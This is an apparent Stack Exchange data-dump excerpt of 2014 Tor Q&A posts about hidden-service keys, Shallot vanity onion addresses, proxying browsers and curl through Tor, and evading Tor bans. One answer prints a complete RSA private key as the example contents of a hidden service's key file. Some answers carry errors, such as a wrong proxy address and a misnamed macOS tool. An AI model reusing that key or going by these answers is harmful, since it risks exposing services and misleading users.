  <row Id="3350" PostTypeId="2" ParentId="3346" CreationDate="2014-06-22T10:31:13.670" Score="1" Body="&lt;p&gt;After looking through the Tor manual I've come to the conclusion that blocking exit relays using a wildcard such as *tor* isn't possible using only regular configuration options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ExcludeNodes&quot; rel=&quot;nofollow&quot;&gt;It is possible to exclude individually named exit relays&lt;/a&gt;, however, using the &lt;em&gt;ExcludeNodes&lt;/em&gt; or &lt;em&gt;ExcludeExitNodes&lt;/em&gt; configuration options.&#xA;If you try to use a wildcard, however, it fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;i.e.&lt;/em&gt;, You can do:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExcludeExitNodes tor-exit.nabnut.net&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But you can't do [the Tor browser refuses to start]:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExcludeExitNodes *tor*&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You might want to request this feature on tor-dev.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-06-22T10:31:13.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3351" PostTypeId="2" ParentId="3333" CreationDate="2014-06-22T10:39:44.140" Score="2" Body="&lt;p&gt;I think you've answered your own question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We don't want the third onion-router in the HS-to-RP circuit to be chosen by the hidden-service client because the client is untrusted and (for all the HS knows) the RP could be controlled by the client.&lt;br/&gt;&#xA;If the third hop for the HS was the RP, and the RP was controlled by the client, then it's far easier for an adversarial client to perform end-to-end correlation attacks to deanonymise the HS since the HS is (effectively) only protected by 2 proxies rather than 3.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-06-22T10:39:44.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3353" PostTypeId="1" CreationDate="2014-06-22T15:39:37.160" Score="1" ViewCount="96" Body="&lt;p&gt;Are there any known unintended consequences (reduction in anonymity, etc.) when using a firewall (IPCop) between Tails and my ISP? (I don't think so, but...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I have misconfigured IpCop, I am allowing only HTTP and HTTPS from the LAN (Tails) to the WAN (ISP).&lt;/p&gt;&#xA;" OwnerUserId="3000" LastEditorUserId="100" LastEditDate="2014-06-23T05:36:53.627" LastActivityDate="2014-06-23T05:36:53.627" Title="Tails behind IPCop" Tags="|anonymity|tails|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3355" PostTypeId="1" CreationDate="2014-06-22T16:24:29.587" Score="2" ViewCount="16" Body="&lt;p&gt;Have a big problem with cleaning up location file (DLL and other files) before running a new bundle. What is the best way to get an empty file?&lt;/p&gt;&#xA;" OwnerUserId="3001" LastEditorUserId="100" LastEditDate="2014-06-25T00:11:27.977" LastActivityDate="2014-06-25T00:11:27.977" Title="Way's to uninstall Tor before installing new bundle" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="1" ClosedDate="2014-06-25T07:17:03.693" ContentLicense="CC BY-SA 3.0" />
  <row Id="3356" PostTypeId="2" ParentId="2040" CreationDate="2014-06-22T19:14:14.217" Score="1" Body="&lt;p&gt;Assuming your entry/relay nodes are not run by feds with access to supercomputers designed for cracking strong encryption,yes.&lt;/p&gt;&#xA;" OwnerUserId="3003" LastActivityDate="2014-06-22T19:14:14.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3360" PostTypeId="1" AcceptedAnswerId="3365" CreationDate="2014-06-23T16:48:27.740" Score="5" ViewCount="8743" Body="&lt;p&gt;I just had a falling out with a programmer who originally installed my Hidden Service (xxxxxxxxxxxxxxxx.onion) hostname onto a Debian linux cloudhost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it is basically changing my entire Domain so I'll have to tell users where to find me again, but I'd really like to change the hostname / privatekey out for a new one on my Wheezy server without jeapordizing any web files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to log in as root? I can't seem to get into my hidden_services folder using the secure sudo user.&lt;/p&gt;&#xA;" OwnerUserId="3014" LastEditorUserId="923" LastEditDate="2014-06-25T07:15:23.343" LastActivityDate="2021-12-08T19:12:50.230" Title="How do I replace my existing .onion hostname on a working site with a new hostname?" Tags="|onion-services|debian|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3362" PostTypeId="1" CreationDate="2014-06-23T20:11:57.133" Score="1" ViewCount="10733" Body="&lt;p&gt;Is it possible to use a webcam with the Tor chat program to enable secure video chats? I have tried to find information on this topic, with no success so far.&lt;/p&gt;&#xA;" OwnerUserId="3016" LastEditorUserId="100" LastEditDate="2014-06-24T00:04:48.277" LastActivityDate="2014-12-02T03:22:38.760" Title="Video Chat with Tor" Tags="|chat|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3363" PostTypeId="1" AcceptedAnswerId="3368" CreationDate="2014-06-24T01:02:54.023" Score="3" ViewCount="1738" Body="&lt;p&gt;I know you're not supposed to do this if you want maximum security, but the Tor Browser is not rendering a page (probably broken HTML), and I'd like to use Chrome or Safari to render the page.  I see some pages online saying you can point your browser's proxy settings at 127.0.0.1 and various ports, but I can't get anything to work.&lt;/p&gt;&#xA;" OwnerUserId="3017" LastEditorUserId="88" LastEditDate="2014-10-04T09:17:30.797" LastActivityDate="2014-10-08T11:49:52.853" Title="How can I use Tor as a proxy for another browser?" Tags="|browsers|chrome|safari|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3364" PostTypeId="1" CreationDate="2014-06-24T01:47:14.790" Score="1" ViewCount="542" Body="&lt;p&gt;All Tor nodes showing LOCATION as Baghdad (Iraq) and Dhaka (Bangladesh) in Facebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the last 5 days, I have tried all the Tor nodes to log into Facebook to see if there was some kind of leakage of real IP while using Facebook and I found that the Facebook's settings&gt;security tab is showing only two locations: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Dhaka (Bangladesh) and&lt;/li&gt;&#xA;&lt;li&gt;Baghdad (Iraq).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What is the real cause of this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another issue is that when we use proxies for simple (non-anonymous) surfing, one website with name &quot;isisxxxx...&quot; automatically tries to connect to the proxy server. (Note: ISIS is the terrorist organization which is eliminating the citizens of Iraq)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it all due to the Iraq War due to which USA is monitoring every traffic on Tor node, or Facebook supplying data of Tor users to NSA/USA by firstly sending the data to some location of Baghdad (Iraq) and Dhaka (B'desh)? It may be a trick being used by Facebook to separate our material/posts by categorizing by location.&lt;/p&gt;&#xA;" OwnerUserId="3018" LastEditorUserId="88" LastEditDate="2014-09-30T10:06:41.630" LastActivityDate="2014-12-20T19:36:05.310" Title="All Tor nodes showing LOCATION as &quot;Baghdad (Iraq) and Dhaka (Bangladesh) in Facebook" Tags="|exit-policies|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3365" PostTypeId="2" ParentId="3360" CreationDate="2014-06-24T04:44:48.203" Score="3" Body="&lt;p&gt;You are correct in the way you are doing it,&#xA;what you can do is to remove the key\hostname file located where the hidden service stored it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First make sure you are in the right folder by checking the torrc file,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nano /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;scroll down to where it says hidden services, check what folder your hidden service points to.&#xA;When that's done you can get to that folder as 'root' and move the files out of there and &#xA;(for example make a backup directory, then move the files)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir /home/yourusername/backupTorHost&#xA;&#xA;mv filename /home/yourusername/backupTorHost/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;restart tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/init.d/tor restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it will then create a new onion url and keyfile for your service,&#xA;it will not touch your webfiles at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But please keep in mind that if your service is dependent on your URL then it can stop function (hardcoded urls, and urls that points to your old domain).&#xA;That's why it's good to take a backup of the current domain \ keyfile so that you can revert if it goes wrong.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-06-24T04:44:48.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3368" PostTypeId="2" ParentId="3363" CreationDate="2014-06-24T13:03:37.617" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;If you are using linux, you can start another browser with Tor by&#xA;using command: &lt;code&gt;torify iceweasel&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;In firefox you can of course set your proxy to a Tor proxy. Just insert &lt;code&gt;192.168.2.1:9150&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3021" LastEditorUserId="88" LastEditDate="2014-06-25T12:46:12.573" LastActivityDate="2014-06-25T12:46:12.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3369" PostTypeId="2" ParentId="3360" CreationDate="2014-06-24T13:41:01.463" Score="2" Body="&lt;p&gt;you should create new onion domain with its private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making Onion Domain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will have to use software Shallot.&#xA;If you have Linux at your home PC/Laptop, just install shallot (&lt;code&gt;./configure &amp;amp;&amp;amp; make&lt;/code&gt;) and use it (&lt;code&gt;./shallot ^test&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Windows, you will have to use virtualbox + linux iso file, and then install shallot. I chose bodhi linux iso file but it was the same case like debian and ubuntu, I had to install dependencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shallot is located at: &lt;a href=&quot;https://github.com/katmagic/Shallot&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/katmagic/Shallot&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For installation on server, use &lt;code&gt;wget&lt;/code&gt; command for downloading/grabbing files to the server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget https://github.com/katmagic/Shallot/archive/master.zip&#xA;unzip master.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(in my case I had to: sudo apt-get install zip unzip). Then you will get folder named &lt;code&gt;Shallot-master&lt;/code&gt;, walk into that folder: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd Shallot-master&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then configure and use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, you can use it, command is: &lt;code&gt;./shallot ^test&lt;/code&gt;&#xA;But usually most of people will get &quot;dependencies error&quot;, it means you must install g++ or c++, whatever else (you can try: sudo apt-get install build-essential). Therefore I rather chose to install Shallot at my home PC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beside it, I succeeded to make onion domain with 7 letters (as I wanted) in 2 hours. But general rule is: There are 14 signs in onion domain and shallot will make for you 3 signs as you want in 1 second, 4 in 2 seconds, 5 in 1 minute, 6 in 30 minutes, 7 in 1 day, 8 signs in 25 days, and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you get onion domain as you wanted, copy private key in file called hostname which is located at &lt;code&gt;/var/lib/tor/hidden_service/&lt;/code&gt;&#xA;it should be like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/lib/tor/hidden_service/hostname&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;content of file should look like this: &lt;code&gt;testvztz3tfoiofv.onion&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;second file should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/lib/tor/hidden_service/private_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-----BEGIN RSA PRIVATE KEY-----&#xA;MIICXgIBAAKBgQC3R85m6NQaA1ZjaYqvz1hvFIjbL4RtKdJbG8hlC9xEBkvfr/BG&#xA;8Z5vDiUzdbDt8mEBuZUDanx80uGJvbXTgmczX0UlkEOgGiZ8RKpnsbKaf/EJNrIw&#xA;T7MSXQmWNcm22nDeViV7fwy+Usyal2RE5cdVCFsPtEbVZqCumlKkEgCyFwIDBAZ7&#xA;AoGBAJSa2cGuru/XhzJAEAIwHZbgPDnum9T/srOYxUKW6afHZeOu5S4Cclwb+xb/&#xA;pGOtzn71XZfCKMfiVdxB/f3XTcRrYB2VnBoNToTD7WfH6DksdDf4zunqiEjvxi9K&#xA;R+tKhxmF7OedrRt8wIhUmFd1E2Q9nbTHI6icdB4kR4QkYKZzAkEA5M6samK7+495&#xA;6SWpRXiePIs7sHKWuxdCrG7kW5RNJrv2CcGYwK46TPcaXBcRfM4eq9+9PGoKi0IO&#xA;gSpOZ5vRYQJBAM0QAZYTZ6ApD014x372MX1ZNofuYL/+XF8ZPZV6Sh4+9MUBuNPb&#xA;yL7BENDr6pX4Zm6OepvAphhCa4vGno2pHncCQQCQnfhUCHANU4bjtX4EOoI63WDq&#xA;UwBOeIWxu0YvGt7Z25Dg9CNz/aX8UZIoj6VyKxLRbR9+K3mNrNgaopW+ZDKzAkEA&#xA;ttgTK1ALe+3v+5H+Ez1SvFPREDFcHihrfD1Ipc5zicY9ixTArgdyZvk+Pi+AMBVV&#xA;sL2HWvjRLEAgRclvKfkwWwJAFtM+BIGRM5me+fMALuBBEtKnbJ6maflsyucErEb0&#xA;pIIBkovF5oyWO3lSBmtStJIANNkHOg8aXqjcgPKusDN7CQ==&#xA;-----END RSA PRIVATE KEY-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; Scallion could also be used for the generation of hidden service hostname/key.&lt;br&gt;&#xA;It is much faster than Shallot, but requires a GPU - &lt;a href=&quot;https://github.com/lachesis/scallion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/lachesis/scallion&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3022" LastEditorUserId="88" LastEditDate="2017-06-19T11:05:40.230" LastActivityDate="2017-06-19T11:05:40.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3370" PostTypeId="1" CreationDate="2014-06-24T17:56:51.263" Score="2" ViewCount="736" Body="&lt;p&gt;When I open Network Map, all of the country flags show up as null, and the map is unannotated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HDNVx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qvFvJ.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a fresh installation of Vidalia Relay Bundle, and &lt;code&gt;geoIP&lt;/code&gt; is in &lt;code&gt;AppData\Local\Vidalia&lt;/code&gt;, &lt;code&gt;AppData\Local\Tor\&lt;/code&gt;, as well as &lt;code&gt;AppData\Roaming\tor\geoip&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want geoIP, for example, to restrict exit locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I make exit geoIP identification work?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3023" LastActivityDate="2015-06-14T07:00:15.737" Title="GeoIP doesn't work" Tags="|vidalia|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3371" PostTypeId="1" AcceptedAnswerId="3373" CreationDate="2014-06-24T21:47:16.123" Score="11" ViewCount="2183" Body="&lt;p&gt;2048 bit RSA is proven to be more secure than 1024 bit, so with the help of Scallion&lt;br&gt;&#xA;I have generated a pair of hidden service hostname + 2048 bit private key for it&lt;br&gt;&#xA;(there were 1024b 2048b and 4096b options, I decided to choose the middle)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I am trying to launch the hidden service, but some unknown reasons Tor is giving lots of errors.&lt;br&gt;&#xA;It looks like Tor is trying to interpret my 2048 bit RSA private key as 1024 bit RSA key, and as result fails&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know, how to enable &quot;2048-bit private key mode&quot; of Tor hidden service hosting? &lt;strong&gt;If yes, how?&lt;/strong&gt;&lt;br&gt;&#xA;And is it possible? (although I am sure it is, because I noticed there were debates about implementing 2048-bit RSA support at 2011 year, probably since much time have passed this feature is already there)&lt;/p&gt;&#xA;" OwnerUserId="3025" LastEditorUserId="3025" LastEditDate="2014-06-24T21:54:54.503" LastActivityDate="2014-06-25T12:46:30.133" Title="Hidden .onion service with 2048 bit (or 4096 bit) RSA private key -- how to host it?" Tags="|tor-browser-bundle|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3373" PostTypeId="2" ParentId="3371" CreationDate="2014-06-25T05:09:38.807" Score="8" Body="&lt;p&gt;You will almost certainly have to use a 1024 key. As of the current version to date, it doesn't seem as if 2048 or higher keys are supported.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And is it possible? (although I am sure it is, because I noticed there were debates about&#xA;  implementing 2048-bit RSA support at 2011 year, probably since much&#xA;  time have passed this feature is already there)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it likely isn't. The direction the developers seem to be leaning at this point is to use other methods of securing Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2013-August/005259.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-dev/2013-August/005259.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/436/what-is-the-difference-between-ntor-and-tap&quot;&gt;What is the difference between NTor and TAP?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3027" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-06-25T12:46:30.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3374" PostTypeId="1" AcceptedAnswerId="3388" CreationDate="2014-06-25T05:17:33.287" Score="2" ViewCount="866" Body="&lt;p&gt;I have set a computer at my home as Tor proxy server that pass the traffic of my internet users through the Tor network. Whenever my server restart I have to manually login my server to let Tor expert bundle get started. Is there any way that I could run Tor as a windows service or run it before windows login?  &lt;/p&gt;&#xA;" OwnerUserId="3028" LastEditorUserId="923" LastEditDate="2014-06-25T12:46:40.100" LastActivityDate="2014-06-26T22:50:40.813" Title="Is it possible to run Tor before windows login?" Tags="|windows|transparent-proxy|server-administration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3375" PostTypeId="1" CreationDate="2014-06-25T10:08:45.867" Score="4" ViewCount="7163" Body="&lt;p&gt;On my linux box, I have both Tor and Tor browser bundle installed and running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering which of those two is to be preferred (in the sense of being the most robust to potential &quot;anonymity leaks&quot;, the fastest, and the &quot;most logical&quot;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torsocks curl http://example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5 127.0.0.1:9150 http://example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3030" LastEditorUserId="923" LastEditDate="2014-06-25T12:46:22.410" LastActivityDate="2016-01-15T04:37:05.547" Title="Torsocks curl vs curl --socks5" Tags="|tor-browser-bundle|anonymity|torsocks|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3376" PostTypeId="2" ParentId="2159" CreationDate="2014-06-25T11:00:13.190" Score="3" Body="&lt;p&gt;Although it is not a &quot;true Linux way&quot;, you could also force kill Firefox processes through the&lt;br&gt;&#xA;&quot;System Monitor&quot; application, which is a part of Mac OS X system&lt;/p&gt;&#xA;" OwnerUserId="3025" LastActivityDate="2014-06-25T11:00:13.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3377" PostTypeId="1" CreationDate="2014-06-25T14:37:34.120" Score="3" ViewCount="16128" Body="&lt;p&gt;This question was already asked but never really answered. I already have silverlight and use it frequently on other browsers. I already have forbid microsoft silverlight unchecked in noscript options. I am trying to use netflix and it tells me to install silverlight, and yes I am aware this is a lousy way to use netflix.&lt;/p&gt;&#xA;" OwnerUserId="3032" LastEditorUserId="923" LastEditDate="2014-06-25T19:47:28.683" LastActivityDate="2017-07-04T16:10:57.467" Title="How can I use silverlight with Tor?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3378" PostTypeId="2" ParentId="3377" CreationDate="2014-06-25T18:04:44.003" Score="5" Body="&lt;p&gt;There is no way to guarantee that Silverlight (like any other browser plugins) will not do direct connections instead of going through Tor. That's why they are disabled in the Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Silverlight with Tor requires using &lt;em&gt;transparent proxying&lt;/em&gt; and a dedicated system made unable to learn the current location to preserve location anonymity. Silverlight being proprietary software, there is also no way to know what sensitive information it might leak that would make Tor useless.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-06-25T18:04:44.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3379" PostTypeId="2" ParentId="3375" CreationDate="2014-06-25T18:22:49.063" Score="2" Body="&lt;p&gt;You should definitely use &lt;code&gt;torsocks curl&lt;/code&gt; here, because &lt;code&gt;curl --socks5&lt;/code&gt; does &lt;strong&gt;NOT&lt;/strong&gt; use the given SOCKS proxy to resolve DNS name. See &lt;a href=&quot;https://code.google.com/p/torsocks/&quot; rel=&quot;nofollow&quot;&gt;torsocks documentation&lt;/a&gt; for more specifics. Also, you can use &lt;code&gt;usewithtor [application]&lt;/code&gt; instead of &lt;code&gt;torsocks [application]&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3033" LastEditorUserId="100" LastEditDate="2014-06-27T01:41:30.120" LastActivityDate="2014-06-27T01:41:30.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3380" PostTypeId="2" ParentId="3375" CreationDate="2014-06-25T21:22:53.290" Score="3" Body="&lt;p&gt;You should use either&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torsocks curl http://example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5-hostname 127.0.0.1:9150 http://example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to ensure that DNS requests aren't leaked.&lt;/p&gt;&#xA;" OwnerUserId="3035" LastActivityDate="2014-06-25T21:22:53.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3381" PostTypeId="1" CreationDate="2014-06-25T21:44:55.723" Score="1" ViewCount="999" Body="&lt;p&gt;I recently noticed one way in which TorBrowser acts differently than stock Firefox - I can't drag from the address bar to an Explorer window.  In stock Firefox, this would allow me to create a shortcut (.url) file pointing to the current Web page in the destination folder; but with TorBrowser, this doesn't work - which means that I'm reduced to using a tedious and error-prone cut and paste procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that this is considered to enhance security somehow, but if I'm aware of the security implications of leaving .url files around in places where other people might find them, shouldn't I be able to flip a switch somewhere in the Tor configuration to re-enable this functionality?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="1527" LastEditDate="2014-07-02T19:52:52.903" LastActivityDate="2019-07-29T12:22:02.847" Title="Is there a way to create desktop shortcuts (.url files) with Tor Browser?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3383" PostTypeId="1" CreationDate="2014-06-26T10:09:35.983" Score="4" ViewCount="19262" Body="&lt;p&gt;I'm looking for the best way to hide Tor usage. Because Tor is banned where I want to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to hide Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found this web-proxy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://cameleo.ru&quot; rel=&quot;nofollow&quot;&gt;http://cameleo.ru&lt;/a&gt; - looks like it support JavaScript. The best one godsend by the long period.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I know about socks5 proxy and proxychain. Is it still the best way?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What about VPN after Tor ? Is it as bad as torrent ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3039" LastEditorUserId="923" LastEditDate="2014-06-26T20:18:33.797" LastActivityDate="2015-04-01T01:57:37.173" Title="What is the best way to hide Tor usage?" Tags="|anonymity|proxy-leaks|pre-tor-proxy|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3384" PostTypeId="2" ParentId="3383" CreationDate="2014-06-26T12:31:30.777" Score="6" Body="&lt;p&gt;I assume you would like to hide the Tor usage from your ISP and/or people in charge of internet censorship where you live and use internet. If thats the case you have some options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may use bridges, they will hide your Tor usage to some extend. However, if authorities really focus on you they eventually will find out you are using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may use pluggable transport, Depending on your circumstances it may hide your Tor usage even better than first option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If VPN is allowd in your circumstance, you may connect to VPN and from there you can connect to Tor via Guards or bridges and or pluggable transport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may connect to a proxy and from there to connect to Tor Guards, or bridges or pluggable transport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may make any combination of option 3 and 4 with multiple VPNs and/or proxies, from there connect to Tor guards, or bridges, or pluggable transport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have not provided the details of your situation, but since you yourself are best aware of your own situation you may take the best option form above choices or provide the details of your situation for further analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, be advised, that there is no full proof, long term and credible way to hide Tor usage at this point in time. All methods are temporary in nature, and if any credible investigation arises regarding this matter, your ISP and bunch of other people would know that you were using Tor.  &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-08-27T08:02:45.770" LastActivityDate="2014-08-27T08:02:45.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3385" PostTypeId="2" ParentId="2127" CreationDate="2014-06-26T15:43:37.043" Score="0" Body="&lt;p&gt;Try pluggable transport. It will  work in a very restricted environment.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-06-26T15:43:37.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3386" PostTypeId="1" CreationDate="2014-06-26T16:31:02.073" Score="2" ViewCount="1866" Body="&lt;p&gt;I was told that using Tor and/or a VPN is always a tradeoff of privacy and anonymity. I'm wonder what combination of Tor, VPNs (paid or free), and proxies can help minimize this risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you use &lt;strong&gt;ISP -&gt; VPN -&gt; Tor&lt;/strong&gt;, your ISP won't know you're using Tor, and your VPN provider won't know what your traffic is (encrypted), only that it's going into Tor network. However, the &lt;strong&gt;Tor exit node&lt;/strong&gt; will see all your traffic in plain-text, depending on HTTPS use, and if that's really a secure option you should trust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm wondering, would it be better to do &lt;strong&gt;ISP -&gt; VPN -&gt; Tor -&gt; VPN&lt;/strong&gt; to hide traffic from the &lt;strong&gt;Tor exit node&lt;/strong&gt;? Does that gain you anything, or expose you in anyway? Basically with the first VPN you can hide your 